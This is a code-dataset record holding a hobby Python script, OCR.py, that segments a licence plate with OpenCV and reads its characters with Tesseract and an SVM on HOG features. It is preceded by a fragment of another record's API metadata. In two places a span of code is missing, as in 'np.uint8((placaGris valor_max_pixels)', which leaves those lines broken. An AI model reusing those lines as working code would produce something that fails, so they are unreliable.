"line_number": 105, "usage_type": "call"}, {"api_name": "keras.losses", "line_number": 112, "usage_type": "attribute"}, {"api_name": "keras.optimizers.RMSprop", "line_number": 113, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 113, "usage_type": "attribute"}, {"api_name": "common.f1", "line_number": 114, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 126, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 127, "usage_type": "call"}, {"api_name": "keras.backend.set_image_dim_ordering", "line_number": 129, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 129, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 156, "usage_type": "call"}, {"api_name": "common.ALL_VULS", "line_number": 166, "usage_type": "argument"}, {"api_name": "trainer.evaluate", "line_number": 168, "usage_type": "call"}, {"api_name": "trainer.evaluate", "line_number": 169, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "common.ALL_VULS.index", "line_number": 189, "usage_type": "call"}, {"api_name": "common.ALL_VULS", "line_number": 189, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 194, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 197, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 200, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 205, "usage_type": "call"}, {"api_name": "utils.set_logging", "line_number": 217, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path", "line_number": 220, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 224, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 225, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 227, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 229, "usage_type": "call"}, {"api_name": "common.get_vul_op_data", "line_number": 230, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 235, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 236, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 238, "usage_type": "call"}, {"api_name": "common.ALL_VULS", "line_number": 239, "usage_type": "name"}, {"api_name": "common.sol_to_data", "line_number": 240, "usage_type": "call"}, {"api_name": "common.print_prediction", "line_number": 243, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 246, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 247, "usage_type": "call"}]} {"seq_id": "29111055391", "text": "\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport cv2\nimport numpy as np\nfrom scipy import ndimage\nfrom reconocimientoPlaca import get_hog, escalar, clasificadorCaracteres\nfrom deteccionPlaca import detectarPlaca\nfrom Imagen import leerImagen\nfrom imutils import contours\n\n\n\n\n\n\n\n\n\n\n\n\nimg = cv2.imread(r\"C:\\Users\\xochi\\OneDrive\\Escritorio\\UAEM\\OCR2\\Banco de datos\\Prueba6.jpg\")\n#img = cv2.imread(\"car6.jpg\")\n#Esta línea regresa la placa segmentada\n#placa = detectarPlaca(img)\nplaca = leerImagen(img)\n#placa = detectarPlaca(placa)\n\n\ndef segmentarImagen(placa):\n placaGris = cv2.cvtColor(placa, cv2.COLOR_BGR2GRAY)\n umbral, _ = cv2.threshold(placaGris, 0, 255, cv2.THRESH_OTSU)\n mascara = np.uint8((placaGris valor_max_pixels)\n pin = pin[0]+1\n mascaras = []\n mascara_final = 0\n #return stats1, pin\n #for i in range(0,len(pin)):\n # mascara = pin[i] == labels1\n # mascaras.append(mascara)\n # mascara_final = mascara_final + mascaras[i]\n mascara = pin[-1] == labels1\n mascaras.append(mascara)\n mascara_final = mascara_final + mascaras[-1]\n mascarafinal2 = ndimage.binary_fill_holes(mascara_final).astype(int)\n mascarafinal2 = np.uint8(255 * mascarafinal2)\n maskObj = []\n maskConvex = []\n diferenciaArea = []\n \n contornos,_ = cv2.findContours(mascarafinal2, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cnt = contornos[0]\n hull = cv2.convexHull(cnt)\n puntosConvex = hull[:,0,:]\n m,n = mascarafinal2.shape\n aux = np.zeros((m,n))\n mascaraConvex = np.uint8(255 * cv2.fillConvexPoly(aux,puntosConvex,1))\n maskConvex.append(mascaraConvex)\n #Comparar el area del ConvexHull vs Objeto\n areaObjeto = np.sum(mascara)/255\n areaConvex = np.sum(mascaraConvex)/255\n diferenciaArea.append(np.abs(areaObjeto - areaConvex))\n maskPlaca = maskConvex[np.argmin(diferenciaArea)]\n vertices = cv2.goodFeaturesToTrack(maskPlaca, 4, 0.01, 10)\n \n \n \n \n \n x = vertices[:,0,0]\n #x = vertices[0]\n y = vertices[:,0,1]\n vertices = vertices[:,0,:]\n xo = np.sort(x)\n yo = np.sort(y)\n\n xn = np.zeros((1,4))\n yn = np.zeros((1,4))\n n = (np.max(xo)-np.min(xo))\n m = (np.max(yo)-np.min(yo))\n\n xn = (x == xo[2]) * n + (x == xo[3]) * n\n yn = (y == yo[2]) * m + (y == yo[3]) * m\n verticesN = np.zeros((4,2))\n verticesN[:,0] = xn\n verticesN[:,1] = yn\n\n vertices = np.int64(vertices)\n verticesN = np.int64(verticesN)\n\n h, _ = cv2.findHomography(vertices, verticesN)\n placa = cv2.warpPerspective(placa,h, (np.max(verticesN[:,0]),\n (np.max(verticesN[:,1]))))\n \n \n \n \n\n #vertices = cv2.goodFeaturesToTrack(mascara_final, 4, 0.01, 10)\n return vertices,mascarafinal2, placa, mascaraConvex\n\n\n\n\n#Nueva funcion\ndef segmentacion2(img): \n image = img #cv2.imread('1.jpg')\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n lower = np.array([37, 2, 0], np.uint8)\n upper = np.array([179, 255, 255], np.uint8)\n mask = cv2.inRange(hsv, lower, upper)\n #num_labels, labels1,stats1,centroides = cv2.connectedComponentsWithStats(mask, cv2.CV_32S)\n #stats_complex = stats1[2:][4:]\n # Create horizontal kernel and dilate to connect text characters\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5,3))\n #kernel = np.ones((5,5),np.uint8)\n dilate = cv2.dilate(mask, kernel, iterations=5)\n\n # Find contours and filter using aspect ratio\n # Remove non-text contours by filling in the contour\n cnts = cv2.findContours(dilate, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if len(cnts) == 2 else cnts[1]\n for c in cnts:\n x,y,w,h = cv2.boundingRect(c)\n ar = w / float(h)\n if ar < 5:\n cv2.drawContours(dilate, [c], -1, (0,255,0), -1)\n\n # Bitwise dilated image with mask, invert, then OCR\n result = 255 - cv2.bitwise_and(dilate, mask)\n #data = pytesseract.image_to_string(result, lang='eng',config='--psm 6')\n #print(data)\n #mascarafinal = 0\n #mascarafinal = ndimage.binary_fill_holes(result).astype(int)\n #mascarafinal = np.uint8(1 * mascarafinal)\n cv2.imshow('Mascara', mask)\n #cv2.imshow('dilate', dilate)\n #cv2.imshow('result', result)\n #cv2.imshow('mascara final', mascarafinal)\n #cv2.waitKey()\n return result\n\n\n\ndef nothing(x):\n pass\n\n\n\ndef hsv(image):\n cv2.imshow('umbral', image)\n cv2.namedWindow('image')\n cv2.createTrackbar('HMin', 'image', 0, 180, nothing)\n cv2.createTrackbar('SMin', 'image', 0, 255, nothing)\n cv2.createTrackbar('VMin', 'image', 0, 255, nothing)\n cv2.createTrackbar('HMax', 'image', 0, 180, nothing)\n cv2.createTrackbar('SMax', 'image', 0, 255, nothing)\n cv2.createTrackbar('VMax', 'image', 0, 255, nothing)\n\n # Set default value for Max HSV trackbars\n cv2.setTrackbarPos('HMax', 'image', 180)\n cv2.setTrackbarPos('SMax', 'image', 255)\n cv2.setTrackbarPos('VMax', 'image', 255)\n\n # Initialize HSV min/max values\n hMin = sMin = vMin = hMax = sMax = vMax = 0\n phMin = psMin = pvMin = phMax = psMax = pvMax = 0\n\n while(1):\n # Get current positions of all trackbars\n hMin = cv2.getTrackbarPos('HMin', 'image')\n sMin = cv2.getTrackbarPos('SMin', 'image')\n vMin = cv2.getTrackbarPos('VMin', 'image')\n hMax = cv2.getTrackbarPos('HMax', 'image')\n sMax = cv2.getTrackbarPos('SMax', 'image')\n vMax = cv2.getTrackbarPos('VMax', 'image')\n\n # Set minimum and maximum HSV values to display\n lower = np.array([hMin, sMin, vMin])\n upper = np.array([hMax, sMax, vMax])\n \n # Convert to HSV format and color threshold\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv, lower, upper)\n result = cv2.bitwise_and(image, image, mask=mask)\n\n # Print if there is a change in HSV value\n if((phMin != hMin) | (psMin != sMin) | (pvMin != vMin) | (phMax != hMax) | (psMax != sMax) | (pvMax != vMax) ):\n print(\"(hMin = %d , sMin = %d, vMin = %d), (hMax = %d , sMax = %d, vMax = %d)\" % (hMin , sMin , vMin, hMax, sMax , vMax))\n phMin = hMin\n psMin = sMin\n pvMin = vMin\n phMax = hMax\n psMax = sMax\n pvMax = vMax\n\n # Display result image\n cv2.imshow('image', result)\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\n\n \nimport pytesseract\n\n \n\ndef quitarfondo(img):\n image = img #cv2.imread('image.png')\n # create grayscale\n tam_contorno = []\n gray_image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # perform threshold\n retr , thresh = cv2.threshold(gray_image, 127, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n \n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n lower = np.array([0, 0, 255])\n upper = np.array([179, 255, 255])\n mask = cv2.inRange(hsv, lower, upper)\n # find contours\n contours,hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # create emtpy mask\n #mask = np.zeros(image.shape[:2], dtype=image.dtype)\n\n # draw all contours larger than 20 on the mask\n for c in contours:\n if cv2.contourArea(c) < 500:\n x, y, w, h = cv2.boundingRect(c)\n cv2.drawContours(mask, [c], 0, (255), -1)\n\n# apply the mask to the original image\n result = 255 - cv2.bitwise_and(image,image, mask= mask)\n #cv2.imshow(\"Resultadossosiso\", result)\n #cv2.imshow(\"RRRR \", thresh)\n return result\n #if cv2.contourArea(c) > 20:\n #x, y, w, h = cv2.boundingRect(c)\n #cv2.drawContours(mask, [c], 0, (255), -1)\n \n \"\"\"img = img #cv2.imread(\"py.jpg\")\n gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n _, thresh = cv2.threshold(gray_img, 127, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n img_contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)[-2]\n img_contours = sorted(img_contours, key=cv2.contourArea)\n\n for i in img_contours:\n\n if cv2.contourArea(i) > 100:\n\n break\n mask = np.zeros(img.shape[:2], np.uint8)\n cv2.drawContours(mask, [i],-1, 255, -1)\n new_img = cv2.bitwise_and(img, img, mask=mask)\n cv2.imshow(\"Original Image\", img)\n cv2.imshow(\"Image with background removed\", new_img)\"\"\"\n #return tam_contorno\n\n#Comentada\n\ndef segmentacion3(img):\n image = img\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n thresh = cv2.threshold(gray,0,255,cv2.THRESH_OTSU + cv2.THRESH_BINARY)[1]\n\n cnts = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if len(cnts) == 2 else cnts[1]\n cnts, _ = contours.sort_contours(cnts, method=\"left-to-right\")\n\n ROI_number = 0\n for c in cnts:\n area = cv2.contourArea(c)\n if area > 10:\n x,y,w,h = cv2.boundingRect(c)\n ROI = 255 - image[y:y+h, x:x+w]\n cv2.imwrite('ROI_{}.png'.format(ROI_number), ROI)\n cv2.rectangle(image, (x, y), (x + w, y + h), (36,255,12), 1)\n ROI_number += 1\n #cv2.imshow('threshxedddd', thresh)\n #cv2.imshow('imagexdddd', image)\n #cv2.waitKey()\n\n\n\n\nvertices, p1, plaquisima, mascaraConvex = segmentarImagen(placa)\nplaca = plaquisima\ncv2.imshow(\"Segmentacion I\", plaquisima)\nplaca_copia = placa.copy()\n\nsegmentacion3(placa)\n#rectangulo = np.max(np.array(quitarfondo(plaquisima)))\n#Easyocr\n#reader = easyocr.Reader([\"es\"])\n#resultado = reader.readtext(placa_copia)\n\n#texto = clasificador(placa)\n\n\n\nplacaGris = cv2.cvtColor(placa, cv2.COLOR_BGR2GRAY)\numbral, _ = cv2.threshold(placaGris, 0, 255, cv2.THRESH_OTSU)\n\n\n\n#hdeetor = cv2.cvtColor(umbralizacion_1, cv2.COLOR_BGR2HSV)\nrectangulo = quitarfondo(placa)\nseg2 = segmentacion2(placa) #Aqui esta la segmentacion \n#hsv(placa)\n\n\n\n_ , umbralizacion_1 = cv2.threshold(placaGris, 127, 255, cv2.THRESH_BINARY_INV+ cv2.THRESH_OTSU)\n\n\nnum_labelsh, labelsh,statsh,centroidesh = cv2.connectedComponentsWithStats(umbralizacion_1, 4, cv2.CV_32S)\nkernelh = np.ones((5,5),np.uint8)\ndilateh = cv2.dilate(umbralizacion_1, kernelh, iterations=1)\noutputh = cv2.connectedComponentsWithStats(dilateh, 4, cv2.CV_32S)\ncantidadObjetosh = outputh[0]\netiquetash = outputh[1]\nstatsh = outputh[2]\ncv2.imshow(\"Dilatacion\", dilateh)\n\n\n\n\npytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract.exe\"\n#result = 255 - cv2.bitwise_and(dilate, mask)\ndatax = pytesseract.image_to_string(placa)\n\n\n\n#Separar las letras de la placa con Bounding Rect\ncontornosh, _ = cv2.findContours(dilateh, cv2.RETR_TREE, \n cv2.CHAIN_APPROX_SIMPLE)\ncaracteresh = []\nordenh = []\nplacaCopiah = placa.copy()\n\nfor cnt in contornosh:\n x,y,w,h = cv2.boundingRect(cnt)\n caracteresh.append(placa[y:y+h, x:x+w,:])\n ordenh.append(x)\n cv2.rectangle(placaCopiah,(x,y),(x+w, y+h),(0,0,255),1)\n #cv2.rectangle(placaCopiah, (x,y), (x+w,y+h), (0,0,255),2)\n #cv2.imshow(\"Rectangulos XDDDD\", placaCopiah)\n#caracteresOrdenadosh = [x for _,x in sorted(zip(ordenh,caracteresh))]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nmascara = np.uint8(255*(placaGris 0))\n\n\ncontornos, _ = cv2.findContours(mascara, cv2.RETR_TREE, \n cv2.CHAIN_APPROX_SIMPLE)\ncaracteres = []\norden = []\nplacaCopia = placa.copy()\n\nfor cnt in contornos:\n #x,y,w,h = cv2.boundingRect(cnt)\n #caracteres.append(placa[y:y+h, x:x+w,:])\n #orden.append(x)\n #cv2.rectangle(placaCopia,(x,y),(x+w, y+h),(0,0,255),1)\n #cv2.drawContours(placa_copia, [approx], 0, (0,255,0), 3)\n #cv2.imshow(\"Caracteres\", placaCopia)\n x,y,w,h = cv2.boundingRect(cnt)\n caracteres.append(placa[y:y+h, x:x+w,:])\n orden.append(x)\n cv2.rectangle(placaCopia,(x,y),(x+w, y+h),(0,0,255),1)\n cv2.imshow(\"Caracteres\", placaCopia)\n \npalabrasSvm = datax\n\"\"\"diccionario = {}\ndiccionario2 = {}\ncontador = 0\ncontadorx = 0\nfor i in orden:\n diccionario[contador] = i\n contador+= 1\n \nfor h in sorted(orden):\n diccionario2[contadorx] = h\n contadorx+=1\n \n \n \n \npruebita = sorted(list(np.array(zip(orden,caracteres)).all())) \n#x9, y9 = zip(sorted(orden), sorted(caracteres))\n#orde = set(orden)\nojala = []\nct = np.array(caracteres)\n#pc = ct.argsort()\n#xd = (sorted(np.all(zip(orden,caracteres))))\ndar = np.array((list(zip(np.array(orden),np.array(caracteres)))))\ntu = np.sort((dar[:,0]))\nsepa = np.sort(list(zip(np.array(orden),np.array((caracteres)))), axis=0)\nprint(\"Soy la lista\", np.sort(list(zip(np.array(orden),np.arange(126))), axis=0))\n#caracteresOrdenados = [x for _,x in np.sort(list(zip(orden,caracteres)), axis=0)]\ncaracteresOrdenados = [x for _,x in np.sort(list(zip(np.array(orden),np.arange(126))), axis=0)]\n#contador = 0\n#for i,x in ((zip(orden,np.array(caracteres)))):\n# ojala.append([i,x])\n#ojala = np.array(ojala).reshape(126,2)\n#ojala2 = np.all(sorted(zip(ojala[:,0],ojala[:,1])))\n#ojala = sorted(ojala)\n#ojala = sorted(np.array(zip(ojala)).all())\n#ojala0 = sorted(ojala[]).any()\n\nx9 = sorted(orden)\nw9 = sorted(np.array(caracteres).reshape((126,1))[2:])\nprint(\"Soy las dimensiones\", np.array(caracteres).shape)\ny9 = sorted(caracteres)\ncaracteresOrdenados = [x for _,x in sorted(zip(np.array(orden).any(axis=0),np.array(caracteres).all(axis=0)))]\n\"\"\"\ncaracteresOrdenados = caracteres\n#caracteresOrdenadosChidos = [x for _,x in sorted(zip(np.array(orden2).all(),np.array(caracteres3).all()))]\n\n\n\n\n\n\n\"\"\"\nStats para contornos y rellenar los huecos de los stats encontrados del proxxy\n\"\"\"\n\n\n\n\n\n\n\"\"\"\nfor i in range(1, cantidadObjetos):\n if stats[i,4] < stats[:,4].mean()/10:\n etiquetas = etiquetas - i*(etiquetas == i)\n \n \n \n \n\nmascara = np.uint8(255*(etiquetas > 0))\n\n#Dilatacion de caracteres de la placa\nkernel = np.ones((3,3), np.uint8)\nmascara = np.uint8(255 * ndimage.binary_fill_holes\n (cv2.dilate(mascara,kernel)))\n\n#Separar las letras de la placa con Bounding Rect\ncontornos, _ = cv2.findContours(mascara, cv2.RETR_TREE, \n cv2.CHAIN_APPROX_SIMPLE)\n\n\n\n\n#cnt = contornos[0]\n#hull = cv2.convexHull(cnt)\n\n\n\n\ncaracteres = []\norden = []\nplacaCopia = placa.copy()\n\nfor cnt in contornos:\n x,y,w,h = cv2.boundingRect(cnt)\n caracteres.append(placa[y:y+h, x:x+w,:])\n orden.append(x)\n cv2.rectangle(placaCopia,(x,y),(x+w, y+h),(0,0,255),1)\n \npruebita = sorted(zip(orden,caracteres))\ncaracteresOrdenados = [x for _,x in sorted(zip(orden,caracteres))]\n\n\n#contador = 0\n#for i, k in zip(orden, caracteres):\n \n# contador += 1\nlistaaaaa = []\nfor x,y in sorted(zip(orden,caracteres)):\n listaaaaa.append(y)\n\n#ccc = [x for _,x in (zip(sorted(orden),sorted(caracteres)))]\n#y5 = sorted(orden)\"\"\"\n#Fase de clasificacion\npalabrasKnn = \"\"\npalabrasSVM = \"\"\npalabrasGnb = \"\"\npalabrasrandomTree = \"\"\npalabrasRedNeuronal = \"\"\nhog = get_hog()\nknn, SVM, gnb, randomTree = clasificadorCaracteres()\nposiblesClases = ['0','1','2','3','4','5','6','7','8','9',\n 'A','B','C','D','E','F','G','H','J','K',\n 'L','M','N','P','Q','R','S','T','U','V',\n 'W','X','Y','Z', 'a','b','c','d','e','f',\n 'g','h','i','j','k','l','m','n','o','p',\n 'r','s','t','u','v','x','y','z']\n\n\n\"\"\"posiblesClases = [ 'a','b','c','d','e','f',\n 'g','h','i','j','k','l','m','n','o','p',\n 'r','s','t','u','v','x','y','z']\"\"\"\n\n\nposiblesClases = np.array(posiblesClases)\ncaracteresPlaca = []\n#Prediction_CWA = np.expand_dims(posiblesClases, axis=0)\nhistory = \"\"\nfor i in caracteresOrdenados:\n m,n,_ = i.shape\n imagenEscalada = escalar(i,m,n)\n caracteresPlaca.append(imagenEscalada)\n caracteristicasImagen = np.array(hog.compute(imagenEscalada))\n\n palabrasSVM += posiblesClases[SVM.predict([caracteristicasImagen.T])][0][0]\n\n#print(\"El clasificador knn da como resultado: \" + palabrasKnn)\nprint(\"El clasificador SVM da como resultado: \" + palabrasSvm, end=\"\")\n#print(\"El clasificador Gaussian da como resultado: \" + palabrasGnb)\n#print(\"El clasificador Random Forest da como resultado: \" + palabrasrandomTree)\n#print(\"El clasificador Red Neuronal da como resultado: \" + palabrasRedNeuronal)\n#cv2.putText(img, \"La placa es: \" + palabrasKnn, \n# (10,300), cv2.FONT_HERSHEY_DUPLEX,0.8,(0,255,255),1)\ncv2.putText(img, \"La placa es: \" + palabrasSvm, \n (10,200), cv2.FONT_HERSHEY_DUPLEX,0.8,(255,255,255),1)\n#cv2.putText(img, \"La placa es: \" + palabrasGnb, \n# (10,100), cv2.FONT_HERSHEY_DUPLEX,0.8,(255,0,0),1)\n#cv2.putText(img, \"La placa es: \" + palabrasrandomTree, \n # (10,50), cv2.FONT_HERSHEY_DUPLEX,0.8,(0,0,255),1)\ncv2.imshow(\"Recibo\", img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n\n\nf = open ('TextoRecibo.txt','w')\nf.write(palabrasSvm)\nf.close()\n\n\n\n\n\n\n", "repo_name": "AlejandroXochipa/OCR", "sub_path": "OCR.py", "file_name": "OCR.py", "file_ext": "py", "file_size_in_byte": 20378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.imread", "line_number": 24, "usage_type": "call"}, {"api_name": "Imagen.leerImagen", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.ndimage.binary_fill_holes", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.convexHull", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.goodFeaturesToTrack", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 94, "usage_type": "call"}, {"api_name": "cv2.findHomography", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 114, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 115, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.getStructuringElement", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 120, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 122, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 126, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 126, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 135, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 160, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.setTrackbarPos", "line_number": 168, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 176, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 177, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 178, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 179, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 180, "usage_type": "call"}, {"api_name": "cv2.getTrackbarPos", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 185, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 188, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 188, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 189, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 190, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 203, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 204, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 216, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 216, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 218, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 218, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 218, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 220, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 220, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 222, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 223, "usage_type": "call"}, {"api_name": "imutils.contours", "line_number": 225, "usage_type": "name"}, {"api_name": "cv2.findContours", "line_number": 225, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 225, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 225, "usage_type": "attribute"}, {"api_name": "imutils.contours", "line_number": 230, "usage_type": "name"}, {"api_name": "cv2.contourArea", "line_number": 231, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 232, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 233, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 236, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 266, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 266, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 267, "usage_type": "call"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 267, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 267, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 269, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 269, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 269, "usage_type": "attribute"}, {"api_name": "imutils.contours.sort_contours", "line_number": 271, "usage_type": "call"}, {"api_name": "imutils.contours", "line_number": 271, "usage_type": "name"}, {"api_name": "cv2.contourArea", "line_number": 275, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 277, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 279, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 280, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 291, "usage_type": "call"}, 